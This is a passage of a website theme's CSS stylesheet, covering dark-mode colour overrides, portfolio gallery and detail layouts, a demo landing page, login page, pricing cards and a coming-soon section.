.service-details h4, .body-dark .project-single h5, .body-dark .post-details .lower-box h4, .body-dark .post-details .info-row strong, .body-dark .news-block-three .inner-box h4 a, .body-dark .post-control .control a, .body-dark .sidebar .recent-posts .text:hover a, .body-dark .sidebar .archives ul li:hover a, .body-dark .sidebar .popular-tags .tags-list a:hover, .body-dark .sidebar .archives ul li.active a, .body-dark .news-block-two .lower-box h4 a, .body-dark .news-block-two .lower-box .link-box a, .body-dark .comments-title h3, .body-dark .comments-area .comment-box .info .name, .body-dark .about-section .sec-title h2 { color: #ffffff; } .body-dark, .body-dark .contact-section .info-block .inner-box .text, .body-dark .default-form .form-group input[type="text"], .body-dark .default-form .form-group input[type="email"], .body-dark .default-form .form-group input[type="password"], .body-dark .default-form .form-group input[type="tel"], .body-dark .default-form .form-group input[type="url"], .body-dark .default-form .form-group input[type="file"], .body-dark .default-form .form-group input[type="number"], .body-dark .default-form .form-group textarea, .body-dark .default-form .form-group select, .body-dark .form-group .ui-button .ui-icon, .body-dark .get-quote-two .form-box form .form-group input, .body-dark .get-quote-two .form-box form .form-group select, .body-dark .get-quote-two .form-box form .form-group textarea, .body-dark .get-quote-two .form-group .ui-selectmenu-button.ui-button, .body-dark .form-group .ui-selectmenu-button.ui-button, .body-dark .get-quote-section .featured-block .text, .body-dark .why-us-section .feature .text, .body-dark .project-tab .product-tab-btns .p-tab-btn, .body-dark .featured-section .feature .text, .body-dark .sec-title .lower-text, .body-dark .trusted-section .feature .sub-text, .body-dark .gallery-section .mixitup-gallery .filters li, .body-dark .accordion-box .block .content .text, .body-dark .we-do-section .featured-block .text, .body-dark .trusted-section .sec-title .lower-text, .body-dark .team-section .team-block .lower-box .designation, .body-dark .trusted-section .featured-block-two .text ul li, .body-dark .agency-section .right-col .text, .body-dark .agency-section .featured-block-two .text ul li, .body-dark .news-section .news-block .lower-box .text, .body-dark .news-section .news-block .post-meta ul li, .body-dark .agency-section .default-tabs .tabs-content .text, .body-dark .service-block-two .text, .body-dark .sidebar .recent-posts .text, .body-dark .testi-block .text, .body-dark .comments-area .comment-box .text, .body-dark .features-section-two .feature .sub-text, .body-dark .sidebar .popular-tags .tags-list a, .body-dark .about-section .text-column .text p { color: #999b9f; } .body-dark .about-section .text-column .text .since .txt { background-color: #ffffff; color: #222429; } .body-dark .about-section .text-column .text .since::before { background-color: #fff; opacity: 0.1; } .body-dark .service-block-two .inner-box { overflow: hidden; } .body-dark .service-block-two .inner-box h5 a { color: inherit; } .body-dark .work-tabs .tab-buttons .tab-btn::before, .body-dark .testi-block:hover .inner { background-color: var(--thm-base); } .body-dark .testi-block:hover .info .name, .body-dark .work-tabs .tab-buttons .tab-btn.active-btn, .body-dark .testi-block:hover .text { color: var(--thm-black); } .body-dark .news-block-two .lower-box .link-box:hover a::before { border-color: #fff; } /* live section dark */ .body-dark .live-section { border-color: rgba(255, 255, 255, 0.1); background-color: #1c1e22; } /* we do section dark */ .body-dark .featured-section, .body-dark .call-to-section-two, .body-dark .news-section.alt-bg, .body-dark .testimonials-section, .body-dark .gallery-section-two.alternate, .body-dark .features-section-two .content-container::before, .body-dark .faqs-section, .body-dark .we-do-section { background-color: #222429; background-image: url(../images/background/we-do-section-bg-dark.jpg); } .body-dark .we-do-section .progress-box .bar { background-color: rgba(255, 255, 255, 0.1); } /* accordion box dark */ .body-dark .accordion-box .block.active-block, .body-dark .accordion-box .block { background-color: #1c1e22; -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.05); } .body-dark .accordion-box .block .acc-btn.active { background-color: #1c1e22; } /* gallery section dark */ .body-dark .gallery-section { background-color: #1c1e22; } /* trusted section */ .body-dark .trusted-section .right-col .inner, .body-dark .trusted-section .right-col .inner::before { background-color: #1c1e22; } .body-dark .trusted-section .feature:hover .count { background-color: #fff; color: #222429; } .body-dark .get-quote-section, .body-dark .features-section-two .feature, .body-dark .get-quote-section .counter, .body-dark .post-control .inner, .body-dark .comments-area .comment-box, .body-dark .post-details .info-row, .body-dark .sponsors-section-two, .body-dark .trusted-section .feature { border-color: rgba(255, 255, 255, 0.1); } /* team section dark */ .body-dark .news-section .news-block .lower-box h5, .body-dark .team-section .team-block .lower-box h5 { color: #fff; } .body-dark .news-section .news-block .lower-box h5 a, .body-dark .team-section .team-block .lower-box h5 a { color: inherit; } .body-dark .team-section .owl-theme .owl-dots .owl-dot span { opacity: 0.1; } .body-dark .team-section .owl-theme .owl-dots .owl-dot:hover span, .body-dark .team-section .owl-theme .owl-dots .owl-dot.active span { background-color: transparent; opacity: 1; } /* sponsors section */ .body-dark .sponsors-section { background-color: #1c1e22; } /* agency section dark */ .body-dark .agency-section { background-color: #222429; background-image: url(../images/background/we-do-section-bg-dark.jpg); } .body-dark .agency-section .default-tabs .tab-buttons .tab-btn span { color: #fff; } .body-dark .agency-section .default-tabs .tab-buttons .tab-btn.active-btn span { color: #222429; } /* news section dark */ .body-dark .news-section .news-block .post-meta ul { -webkit-box-shadow: 0px 20px 20px 0px rgba(0, 0, 0, 0.03); box-shadow: 0px 20px 20px 0px rgba(0, 0, 0, 0.03); background-color: #1c1e22; } .body-dark .news-section .news-block .lower-box .link-box a { background-color: rgba(255, 255, 255, 0.1); color: #222429; } .body-dark .news-section .news-block .lower-box .link-box a:hover { background-color: var(--thm-base); } /* portfolio masonary */ .portfolio-masonary { padding-bottom: 100px; } @media (min-width: 1200px) { .portfolio-masonary .auto-container { max-width: 1200px; } } .portfolio-masonary h3 { margin: 0; font-size: 80px; font-weight: 300; color: #fff; line-height: 1; letter-spacing: 0.1em; text-transform: uppercase; max-width: 810px; margin-left: auto; margin-right: auto; text-align: center; margin-top: 210px; } .portfolio-masonary hr { border-color: rgba(255, 255, 255, 0.1); margin: 0; margin-bottom: 60px; margin-top: 120px; } .portfolio-masonary__filter-wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; margin-bottom: 50px; } .portfolio-masonary .filters { margin-bottom: 0; } .portfolio-masonary .filters li { color: #ffffff; font-size: 20px; } .portfolio-masonary .mixitup-gallery .filters .filter.active { color: #fff; } .portfolio-masonary .filters li:first-child { margin-left: 0; } .portfolio-masonary .masonary-layout { margin-bottom: 30px; } .portfolio-masonary__box { margin-bottom: 30px; overflow: hidden; border-radius: 8px; position: relative; } .portfolio-masonary__box__new { position: absolute; top: 0px; right: 0px; background-color: var(--thm-base); border-radius: 8px; font-family: var(--thm-font); text-transform: uppercase; display: -webkit-box; display: -ms-flexbox; display: flex; z-index: 10; color: var(--thm-black); letter-spacing: 0.1em; line-height: 1; padding: 9px 13px 8px; font-size: 20px; border-top-left-radius: 0; border-bottom-right-radius: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .portfolio-masonary__box-outer:hover .portfolio-masonary__box__new { background-color: var(--thm-black); color: #fff; } .portfolio-masonary__box img { width: 100%; -webkit-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: 500ms ease; transition: 500ms ease; } .portfolio-masonary__box:hover img { -webkit-filter: grayscale(0); filter: grayscale(0); } .portfolio-masonary__more { text-transform: uppercase; font-size: 18px; color: #fff; -webkit-transition: all 500ms ease; transition: all 500ms ease; font-weight: 500; font-family: var(--thm-font); } .portfolio-masonary__more:hover { color: var(--thm-base); } .portfolio-masonary__box-content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(var(--thm-base-rgb), 0.9); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; padding: 60px; -webkit-transform: translateY(30%); transform: translateY(30%); opacity: 0; -webkit-transition: opacity 500ms ease, -webkit-transform 500ms ease; transition: opacity 500ms ease, -webkit-transform 500ms ease; transition: transform 500ms ease, opacity 500ms ease; transition: transform 500ms ease, opacity 500ms ease, -webkit-transform 500ms ease; } .portfolio-masonary__box:hover .portfolio-masonary__box-content { opacity: 1; -webkit-transform: translateY(0); transform: translateY(0); } .portfolio-masonary__box-content p { margin: 0; color: var(--thm-black); line-height: 1; text-transform: uppercase; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-bottom: 10px; font-family: var(--thm-font); } .portfolio-masonary__box-content p::after { width: 40px; height: 2px; background-color: var(--thm-black); margin-left: 10px; content: ""; } .portfolio-masonary__box-content h4 { margin: 0; text-transform: uppercase; color: var(--thm-black); line-height: 1; font-size: 30px; letter-spacing: 0.1em; } .portfolio-masonary__box-content h4 a { color: inherit; } /* portfolio details header */ .portfolio-details-header { margin-top: 106px; background-color: #fff; padding-top: 90px; padding-bottom: 90px; position: relative; } .portfolio-details-header::before { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 545px; background-color: #f4f5f8; } @media (min-width: 1200px) { .portfolio-details-header { padding-top: 120px; padding-bottom: 120px; } } .portfolio-details-header__separator { border-width: 1px; border-color: #e9ebee; min-width: 1600px; float: left; margin-top: 90px; margin-bottom: 0; } @media (min-width: 1200px) { .portfolio-details-header__separator { margin-top: 120px; } } .portfolio-details-header__title { margin: 0; text-transform: uppercase; font-size: 50px; color: var(--thm-black); margin-bottom: 40px; } .portfolio-details-header__image { display: inline-block; background-color: #222429; border-radius: 8px; margin-bottom: 45px; } .portfolio-details-header__image img { max-width: 100%; border-radius: 8px; display: block; mix-blend-mode: luminosity; } @media (min-width: 1200px) { .portfolio-details-header__image img { max-width: none; } } .portfolio-details-header__sub-heading { margin: 0; text-transform: uppercase; font-size: 24px; color: var(--thm-black); line-height: 1; margin-bottom: 10px; } .portfolio-details-header__text { margin: 0; color: var(--thm-text); font-size: 16px; } .portfolio-details-header__list { margin: 0; margin-bottom: 45px; } .portfolio-details-header__list li { font-size: 16px; color: var(--thm-text); } .portfolio-details-header__main-text { margin: 0; font-size: 20px; list-style: none; font-weight: 300; line-height: 42px; margin-bottom: 40px; } @media (min-width: 1200px) { .portfolio-details-header__main-text { margin-bottom: 0; } } .portfolio-details-header__text + .portfolio-details-header__sub-heading { margin-top: 40px; } @media (min-width: 1200px) { .portfolio-details-header__main-text { padding-left: 100px; } } .portfolio-details-header__link { color: var(--thm-base); font-size: 16px; position: relative; display: inline-block; line-height: 1; padding-bottom: 10px; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-bottom: 50px; } @media (min-width: 1200px) { .portfolio-details-header__link { margin-bottom: 0; } } .portfolio-details-header__link:hover { color: var(--thm-black); } .portfolio-details-header__link::after { content: ""; width: 100%; height: 2px; background-color: var(--thm-base); position: absolute; bottom: 0; left: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .portfolio-details-header__link:hover::after { background-color: var(--thm-black); } .portfolio-details-header__links a { color: var(--thm-text); font-size: 16px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .portfolio-details-header__links a:hover { color: var(--thm-base); } .portfolio-details-header__links a:not(:last-child)::after { content: ","; } /* portfolio details info */ .portfolio-details-info__image { display: inline-block; background-color: var(--thm-black); overflow: hidden; border-radius: 8px; margin-bottom: 30px; } .portfolio-details-info__image img { mix-blend-mode: luminosity; border-radius: 8px; max-width: 100%; } @media (min-width: 768px) { .portfolio-details-info__image { margin-bottom: 0; display: block; } .portfolio-details-info .row { margin-bottom: 40px; } } @media (min-width: 1200px) { .portfolio-details-info .row { margin-bottom: 60px; } } .portfolio-details-info__title { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 40px; } .portfolio-details-info__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 34px; margin-bottom: 30px; max-width: 470px; } @media (min-width: 768px) { .portfolio-details-info__text { margin-bottom: 0; } } @media (min-width: 1200px) { .portfolio-details-info__title { font-size: 50px; margin-bottom: 35px; } } /* protfolio details video */ .portfolio-details-video { margin-top: 90px; margin-bottom: 60px; } @media (min-width: 1200px) { .portfolio-details-video { margin-top: 120px; } } .portfolio-details-video__thumbnail { background-color: var(--thm-black); overflow: hidden; border-radius: 8px; position: relative; } .portfolio-details-video img { mix-blend-mode: luminosity; max-width: 100%; } .portfolio-details-video .vid-link { position: absolute; top: 50%; left: 50%; -webkit-transform: translateX(-50%) translateY(-50%); transform: translateX(-50%) translateY(-50%); width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .portfolio-details-video .vid-link .icon { position: relative; display: block; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: var(--thm-black); background: var(--thm-base); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .portfolio-details-video .vid-link a:hover .icon { background: #ffffff; color: var(--thm-base); } .portfolio-details-video .vid-link .icon:before { content: ""; position: absolute; left: -8px; top: -8px; right: -8px; bottom: -8px; border: 1px solid rgba(255, 255, 255, 0.3); border-radius: 50%; } .portfolio-details-video .vid-link .ripple, .portfolio-details-video .vid-link .ripple:before, .portfolio-details-video .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 100px; height: 100px; border-radius: 50%; -ms-border-radius: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .portfolio-details-video .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .portfolio-details-video .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } .portfolio-details-summery { padding-bottom: 50px; } @media (min-width: 1200px) { .portfolio-details-summery { padding-bottom: 80px; } } .portfolio-details-summery__heading { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 30px; line-height: 1; padding-left: 20px; padding-right: 20px; margin-bottom: 20px; } @media (min-width: 1200px) { .portfolio-details-summery__heading { padding-left: 100px; padding-right: 100px; } } .portfolio-details-summery__text { margin: 0; padding-left: 20px; padding-right: 20px; margin-bottom: 30px; } @media (min-width: 1200px) { .portfolio-details-summery__text { padding-left: 100px; padding-right: 100px; } } /* portfolio horizontal */ .portfolio-horizontal { min-height: 100vh; position: relative; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; padding-top: 90px; padding-bottom: 90px; } [class*="portfolio-horizontal__shape-"] { position: absolute; display: none; -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-name: banner3Shake; animation-name: banner3Shake; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-animation-duration: 5s; animation-duration: 5s; -webkit-animation-delay: 1s; animation-delay: 1s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } @media (min-width: 992px) { [class*="portfolio-horizontal__shape-"] { display: block; } } @-webkit-keyframes banner3Shake { 0% { -webkit-transform: rotate3d(0, 1, 0, 0deg); transform: rotate3d(0, 1, 0, 0deg); } 30% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 60% { -webkit-transform: rotate3d(1, 0, 0, 0deg); transform: rotate3d(1, 0, 0, 0deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 100% { -webkit-transform: rotate3d(0, 1, 0, 0deg); transform: rotate3d(0, 1, 0, 0deg); } } @keyframes banner3Shake { 0% { -webkit-transform: rotate3d(0, 1, 0, 0deg); transform: rotate3d(0, 1, 0, 0deg); } 30% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 60% { -webkit-transform: rotate3d(1, 0, 0, 0deg); transform: rotate3d(1, 0, 0, 0deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 100% { -webkit-transform: rotate3d(0, 1, 0, 0deg); transform: rotate3d(0, 1, 0, 0deg); } } .portfolio-horizontal__shape-1 { top: -120px; right: 40%; } .portfolio-horizontal__shape-2 { left: -55px; bottom: -36px; } .portfolio-horizontal__shape-3 { right: -260px; bottom: -30px; } @media (min-width: 992px) { .portfolio-horizontal { padding-top: 120px; padding-bottom: 110px; } } .portfolio-horizontal .auto-container { max-width: 100%; padding-left: 30px; padding-right: 30px; } @media (min-width: 992px) { .portfolio-horizontal .auto-container { padding-left: 60px; padding-right: 60px; } } @media (min-width: 1200px) { .portfolio-horizontal .auto-container { padding-left: 100px; padding-right: 100px; } } @media (min-width: 1440px) { .portfolio-horizontal .auto-container { padding-left: 155px; padding-right: 155px; } } .portfolio-horizontal__card__title { margin: 0; color: #fff; font-weight: 800; font-family: "Montserrat", "Rubik"; font-size: 30px; } .portfolio-horizontal__card__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .portfolio-horizontal__card__title a:hover { color: var(--thm-black); } .portfolio-horizontal__category { margin: 0; display: block; line-height: 1; font-weight: 600; font-size: 14px; font-family: "Montserrat", "Rubik"; color: #fff; margin-bottom: 15px; margin-top: 30px; } .portfolio-horizontal__carousel .owl-nav { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 50px; } .portfolio-horizontal__carousel .owl-nav .icon { width: 41px; height: 59px; background-image: url(../images/update-26-02-2021/shapes/portfolio-horizontal-arrow.png); background-repeat: no-repeat; background-position: center center; display: block; opacity: 0.2; -webkit-transition: all 500ms ease; transition: all 500ms ease; } @media (min-width: 1200px) { .portfolio-horizontal__carousel .owl-nav [class*="owl-"] { position: absolute; top: 50%; -webkit-transform: translateY(-50%); transform: translateY(-50%); } .portfolio-horizontal__carousel .owl-nav [class*="owl-prev"] { right: calc(100% + 55px); } .portfolio-horizontal__carousel .owl-nav [class*="owl-next"] { left: calc(100% + 25px); } } .portfolio-horizontal__carousel .owl-nav .icon:hover { opacity: 1; } .portfolio-horizontal__carousel .owl-nav .icon.nav-button-right { -webkit-transform: rotate(180deg); transform: rotate(180deg); margin-left: 30px; } .portfolio-horizontal-two { padding-left: 30px; padding-right: 30px; padding-top: 80px; padding-bottom: 80px; } @media (min-width: 992px) { .portfolio-horizontal-two { padding-top: 150px; padding-bottom: 150px; margin-left: 100px; } } @media (min-width: 1200px) { .portfolio-horizontal-two { /* display: flex; justify-content: center; align-items: center; position: absolute; top: 0; left: 100px; */ padding-top: 200px; padding-bottom: 200px; height: 100vh; width: calc(100vw - 100px); padding-left: 70px; padding-right: 70px; } } .portfolio-horizontal-two__image { background-color: var(--thm-black); } .portfolio-horizontal-two__image img { width: 100%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .portfolio-horizontal-two__item:hover .portfolio-horizontal-two__image img { opacity: 0.8; } .portfolio-horizontal-two__category { margin: 0; text-transform: uppercase; font-size: 14px; letter-spacing: 0.1em; color: var(--thm-text); font-weight: 400; line-height: 1; display: block; margin-top: 20px; margin-bottom: 12px; } .portfolio-horizontal-two__title { margin: 0; text-transform: uppercase; font-size: 30px; color: var(--thm-black); font-weight: 400; line-height: 1; display: block; } .portfolio-horizontal-two__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .portfolio-horizontal-two__title a:hover { color: var(--thm-base); } .portfolio-horizontal-two__controls { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; margin-top: 20px; } @media (min-width: 992px) { .portfolio-horizontal-two__controls { -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; } } @media (min-width: 1200px) { .portfolio-horizontal-two__controls { position: absolute; bottom: 100px; right: 70px; } } .portfolio-horizontal-two__carousel__progress { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-right: 20px; } .portfolio-horizontal-two__carousel__progress li span { display: block; width: 30px; height: 1px; background-color: #e3e3e3; -webkit-transition: all 500ms ease; transition: all 500ms ease; cursor: pointer; } @media (min-width: 1200px) { .portfolio-horizontal-two__carousel__progress li span { width: 55px; } } .portfolio-horizontal-two__carousel__progress li.active span { background-color: var(--thm-black); } .portfolio-horizontal-two__carousel__count { text-transform: uppercase; margin: 0; color: var(--thm-text); font-size: 16px; letter-spacing: 0.2em; } /* demo landing page */ .demo-purchase-btn .btn-title { padding-top: 21.5px; padding-bottom: 17.5px; } .demo-purchase-btn:hover .btn-title { color: var(--thm-black); } .demo-purchase-btn:hover .btn-curve { background-color: #fff; } .demo-top { padding-top: 265px; padding-bottom: 170px; background-color: #1c1e22; background-image: url(../images/background/home-portfolio-bg-1-1.png); } .demo-top .auto-container { text-align: center; } .demo-top h3 { margin: 0; color: #fff; font-size: 110px; text-transform: uppercase; line-height: 1; font-weight: 600; } .demo-top h3 span { color: var(--thm-base); } .demo-top p { font-size: 26px; line-height: 1.7em; margin: 0; margin-top: 30px; font-weight: 400; color: rgba(255, 255, 255, 0.6); max-width: 590px; margin-left: auto; margin-right: auto; font-family: var(--thm-b-font); text-align: center; } /* demo gallery */ .demo-gallery { padding-top: 120px; padding-bottom: 100px; } .demo-gallery .mixitup-gallery .filters .filter { color: #686a6f; font-size: 24px; } .demo-gallery .mixitup-gallery .filters .filter + .filter { margin-left: 40px; } .demo-gallery .mixitup-gallery .filters .filter.active { color: var(--thm-black); } .demo-gallery .portfolio-masonary__box-outer { -webkit-transform: translateY(0); transform: translateY(0); -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; border-radius: 8px; -webkit-box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); } .demo-gallery .portfolio-masonary__box-outer:hover { -webkit-transform: translateY(-20px); transform: translateY(-20px); } .demo-gallery .portfolio-masonary__box img { -webkit-filter: grayscale(0); filter: grayscale(0); } .demo-gallery .portfolio-masonary__box .link { position: absolute; top: 60px; right: 60px; width: 55px; height: 55px; border-radius: 50%; font-size: 18px; color: var(--thm-black); border: 1px solid var(--thm-black); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .demo-gallery .portfolio-masonary__box .link:hover { background-color: #fff; border-color: #fff; } .demo-features { background-color: #f4f5f8; padding-top: 120px; padding-bottom: 120px; } .demo-features__wrapper { display: -ms-grid; display: grid; -ms-grid-columns: (1fr)[7]; grid-template-columns: repeat(7, 1fr); grid-row-gap: 30px; } .demo-features__box { text-align: center; } .demo-features__box img { border-radius: 8px; display: block; margin-left: auto; margin-right: auto; -webkit-box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); } .demo-features__box h4 { margin: 0; text-transform: uppercase; font-size: 20px; color: var(--thm-black); letter-spacing: 0.1em; margin-top: 20px; text-align: center; } /* demo footer */ .main-footer__demo .footer-widget h3 { max-width: none; font-size: 80px; letter-spacing: 0; margin: 0; } .main-footer__demo .footer-widget p { margin: 0; font-size: 36px; letter-spacing: 0.1em; text-transform: uppercase; font-weight: 300; font-family: var(--thm-font); margin-bottom: 45px; } .main-footer__demo .footer-widget { padding-bottom: 110px; } /* login page */ .login-wrapper { position: relative; min-height: 100vh; } .login-wrapper .login-bg { position: absolute; right: 0; bottom: 0; width: calc(100% - 630px); height: 100vw; background-repeat: no-repeat; background-size: cover; background-position: center right; } .login-wrapper .login-content__inner { width: 100%; max-width: 630px; padding-left: 115px; padding-right: 115px; background-color: #fff; -webkit-box-shadow: 9.986px -0.523px 30px 0px rgba(5, 5, 6, 0.1); box-shadow: 9.986px -0.523px 30px 0px rgba(5, 5, 6, 0.1); min-height: 100vh; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; position: relative; z-index: 10; } .login-wrapper form input[type="text"], .login-wrapper form input[type="email"], .login-wrapper form input[type="password"] { width: 100%; border-radius: 8px; background-color: #f4f5f8; height: 70px; padding-left: 30px; padding-right: 30px; font-size: 14px; color: #686a6f; font-weight: 400; font-family: var(--thm-b-font); margin-bottom: 20px; } .login-wrapper form ::-webkit-input-placeholder { opacity: 1; color: inherit; } .login-wrapper form :-ms-input-placeholder { opacity: 1; color: inherit; } .login-wrapper form ::-ms-input-placeholder { opacity: 1; color: inherit; } .login-wrapper form ::placeholder { opacity: 1; color: inherit; } .login-wrapper form p { margin: 0; color: #686a6f; line-height: 2.125; } .login-wrapper form p a { color: inherit; } .login-wrapper form .theme-btn { width: 100%; font-size: 18px; letter-spacing: 0.1em; font-weight: 400; margin-top: 15px; } .login-wrapper .login-content__inner .copyright-text { margin-top: auto; text-align: center; color: #686a6f; margin-bottom: 60px; } .login-wrapper .logo { margin-top: 90px; margin-bottom: 140px; } .login-wrapper .signup-link { text-transform: uppercase; color: #000000; font-weight: 400; letter-spacing: 0.1em; font-size: 20px; text-align: center; line-height: 1; margin-top: 35px; font-family: var(--thm-font); } .login-wrapper .signup-link a { color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .login-wrapper .signup-link a:hover { opacity: 0.7; } /*-------------------------------------------------------------- # Pricing --------------------------------------------------------------*/ .pricing-one { padding-top: 100px; padding-bottom: 70px; } @media (min-width: 992px) { .pricing-one { padding-top: 120px; padding-bottom: 90px; } } .pricing-one [class*="col-"] { margin-bottom: 30px; } /* price card */ .pricing-card { background-color: #f4f5f8; text-align: center; padding-left: 20px; padding-right: 20px; padding-bottom: 20px; padding-top: 50px; border-radius: 8px; } .pricing-card__bottom { border-radius: 8px; background-color: #fff; padding-top: 40px; padding-bottom: 40px; -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .pricing-card__list { text-align: left; width: 200px; margin-left: auto; margin-right: auto; margin-bottom: 43px; } .pricing-card__list li { position: relative; font-size: 16px; color: var(--thm-text); padding-left: 40px; } .pricing-card__list li + li { margin-top: 5px; } .pricing-card__list li i { position: absolute; top: 50%; left: 0; -webkit-transform: translateY(-50%); transform: translateY(-50%); font-size: 20px; color: var(--thm-base); } .pricing-card__list li i.unavailable { color: var(--thm-black); } .pricing-card__icon { width: 100px; height: 100px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; margin-left: auto; margin-right: auto; position: relative; margin-bottom: 30px; } .pricing-card__icon::before { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: var(--thm-base); opacity: 0.2; border-radius: 50%; content: ""; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .pricing-card:hover .pricing-card__icon::before { opacity: 1; } @media (min-width: 992px) { .pricing-card__icon { width: 130px; height: 130px; } } .pricing-card__icon i { font-size: 50px; position: relative; color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .pricing-card:hover .pricing-card__icon i { color: var(--thm-black); } @media (min-width: 992px) { .pricing-card__icon i { font-size: 64px; } } .pricing-card__name { line-height: 1; margin: 0; font-size: 20px; text-transform: uppercase; font-family: var(--thm-font); letter-spacing: 0.1em; color: var(--thm-base); margin-bottom: 2px; } .pricing-card__amount { margin: 0; line-height: 1; font-size: 45px; margin-bottom: 20px; } @media (min-width: 992px) { .pricing-card__amount { font-size: 60px; } } /*-------------------------------------------------------------- # Coming Soon --------------------------------------------------------------*/ .coming-soon { background-color: var(--thm-black); background-repeat: no-repeat; background-size: cover; min-height: 100vh; padding-top: 60px; padding-bottom: 60px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; } .coming-soon .auto-container { width: 100%; } .coming-soon__title { margin: 0; color: #fff; font-size: 45px; text-transform: uppercase; font-weight: 300; margin-top: 40px; margin-bottom: 20px; } @media (min-width: 992px) { .coming-soon__title { font-size: 60px; margin-top: 90px; margin-bottom: 30px; } } .coming-soon__form-text, .coming-soon__text { margin: 0; color: #999b9f; max-width: 570px; } .coming-soon__form-title { text-transform: uppercase; margin: 0; color: #fff; font-size: 24px; font-weight: 500; margin-bottom: 10px; } .coming-soon__form { max-width: 400px; width: 100%; border-radius: 8px; position: relative; margin-top: 20px; margin-bottom: 50px; } @media (min-width: 992px) { .coming-soon__form { margin-bottom: 35px; } } .coming-soon__form input[type="text"], .coming-soon__form input[type="email"] { width: 100%; height: 70px; background-color: #1c1e22; font-size: 14px; font-family: var(--thm-b-font); color: #999b9f; border-radius: 8px; padding-left: 30px; -webkit-transition: all 500ms ease; transition: 